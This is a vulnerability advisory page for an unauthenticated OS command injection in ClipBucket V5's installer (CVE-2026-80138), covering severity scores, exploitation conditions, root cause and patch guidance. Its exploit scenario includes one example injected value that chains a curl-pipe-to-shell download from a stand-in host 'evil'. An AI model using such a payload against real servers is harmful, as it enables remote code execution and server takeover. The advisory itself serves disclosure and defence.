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ClipBucket V5 EUVDEUVD-2026-66195

| CVE-2026-80138 CRITICAL
OS Command Injection (CWE-78)
2026-08-25 VulnCheck GHSA-h7wf-mrfw-7fxq
9.2
CVSS 4.0 · Vendor: VulnCheck
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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Locate exposed ClipBucket installer
  2. Delivery
    Craft POST with malicious php_cli_filepath
  3. Exploit
    Shell interprets injected metacharacters
  4. Execution
    Execute commands as web server user
  5. Impact
    Read credentials and pivot

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires that the ClipBucket V5 web installer (the cb_install endpoint) be network-reachable and in an executable/active state - this is the AT:P attack requirement and the primary limiting factor, since production deployments that remove or block the installer after setup are not exposed. When the installer is reachable, no authentication (PR:N), no user interaction (UI:N), and only a single crafted POST request supplying a malicious php_cli_filepath value are needed to inject shell commands. The limiting factors are therefore installer availability and version (5.5.1 through 5.5.3-#153); there is no privilege or interaction barrier once the installer is accessible.

Impact

This is a genuine high-priority issue for exposed instances, not merely a high-CVSS-but-low-real-risk case. The CVSS 4.0 vector (AV:N/AC:L/AT:P/PR:N/UI:N, VC:H/VI:H/VA:H) describes network-reachable, unauthenticated, low-complexity exploitation yielding full confidentiality, integrity, and availability impact on the vulnerable system - scoring 9.2. The one meaningful mitigant is AT:P (attack requirements present): the web installer must actually be reachable and in an executable state. On a fully installed, hardened deployment the cb_install directory is typically removed or blocked, which sharply limits exposure; on freshly deployed, misconfigured, or containerized instances that leave the installer live, exploitation is straightforward and any operator running ClipBucket V5 should treat it as urgent. No EPSS score or CISA KEV status was provided, and no public exploit was identified at time of analysis, so there is no confirmed evidence of active or widespread exploitation - the risk is driven by the low barrier to exploit plus full-system impact rather than by observed in-the-wild activity.

Exploit ScenarioDerived

An attacker locates an internet-exposed ClipBucket V5 instance whose installer is still reachable and sends a single crafted POST request setting php_cli_filepath to something like /usr/bin/php; curl http://evil/x | sh, causing the shell to execute the injected command as the web server user. From there they establish a foothold, read configuration/database credentials, and pivot. No authentication or user interaction is required, and the low attack complexity means the request can be scripted; no public exploit was identified at time of analysis.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.8% exploitation probability (EPSS)

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AnalysisAIv1 – Aug 25, 2026

OS command injection in ClipBucket V5's web installer (versions 5.5.1 through 5.5.3-#153) lets unauthenticated remote attackers run arbitrary shell commands as the web server user by supplying a crafted php_cli_filepath value in a POST request to the installer. The flaw stems from the installer passing this parameter unescaped into a shell command that invokes the PHP CLI. A vendor patch exists (commit 36e7c6c), it was reported by VulnCheck, and no public exploit has been identified at time of analysis.

RemediationAI

Update to the patched build containing commit 36e7c6cfd81f62a091d2aeef96a8fc2fc2d85dc4 (changelog revision 176, the 5.5.3 line), which validates the path with realpath()/is_file()/is_executable() and applies escapeshellarg() before shell execution; consult the VulnCheck advisory and the GitHub commit (https://github.com/MacWarrior/clipbucket-v5/commit/36e7c6cfd81f62a091d2aeef96a8fc2fc2d85dc4) for exact release details. As the most effective compensating control, remove or block network access to the cb_install/ installer directory on any completed installation (delete it or return HTTP 403 via web-server rules) - this eliminates the attack surface entirely with no downside for running instances, though it must be restored temporarily if you later need to re-run the installer. Additionally restrict the installer to trusted admin IPs and ensure the web server user runs with least privilege to limit post-exploitation impact if the endpoint cannot be immediately removed.

Affected VersionsENISA

clipbucket-v5 5.5.1 ≤5.5.3-#153

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

ClipBucket V5 (CPE cpe:2.3:a:macwarrior:clipbucket-v5) is an open-source PHP video-sharing/hosting platform. During installation, the installer collects a path to the PHP CLI binary (php_cli_filepath) and, in System::get_php_cli_info(), concatenates it directly into a shell command string of the form <php_path> <admin_actions>/phpinfo.php that is then executed. Because the user-controlled path is neither validated nor escaped, injected shell metacharacters are interpreted by the shell - the classic CWE-78 (Improper Neutralization of Special Elements used in an OS Command) root cause. The fix (system.class.php) adds realpath() plus is_file()/is_executable() validation and wraps the path in escapeshellarg(), neutralizing metacharacters.

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  • Exploit and PoC references, threat intelligence from 22 sources

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Severity by source

Vendor (VulnCheck) PRIMARY 9.2 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 9.8 CRITICAL

Unauthenticated network POST with low complexity yields command execution and full C/I/A impact; the installer-reachable precondition maps to CVSS 4.0 AT:P rather than a 3.1 metric.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
Present
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

ClipBucket V5's web installer fails to properly validate or escape the php_cli_filepath parameter before passing it to shell execution. Unauthenticated attackers can submit a crafted POST request to the installer with a malicious php_cli_filepath value to execute arbitrary commands as the web server user.

Executive ViewAI

Why It Matters

ClipBucket V5 (versions 5.5.1-5.5.3) contains a critical vulnerability in its web installer allowing unauthenticated remote attackers to execute arbitrary commands on the web server during deployment; no public exploit identified at time of analysis. Organizations currently installing or maintaining ClipBucket installations face immediate risk of server compromise and data breach. Immediate patching is essential for any systems still running the vulnerable installer component.

Business Impact: Severe
Compensating Controls

Apply vendor patch. Until patching is complete, restrict network access to the web installer endpoint and disable the installer component once initial deployment is complete.

Threat Intelligence Overview

EPSS Score
0.8%
Top 46% exploitable
Prevalence
Low
niche open-source video-sharing platform, limited enterprise footprint
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.8%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
None
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Total

Priority Score

47
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +46
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

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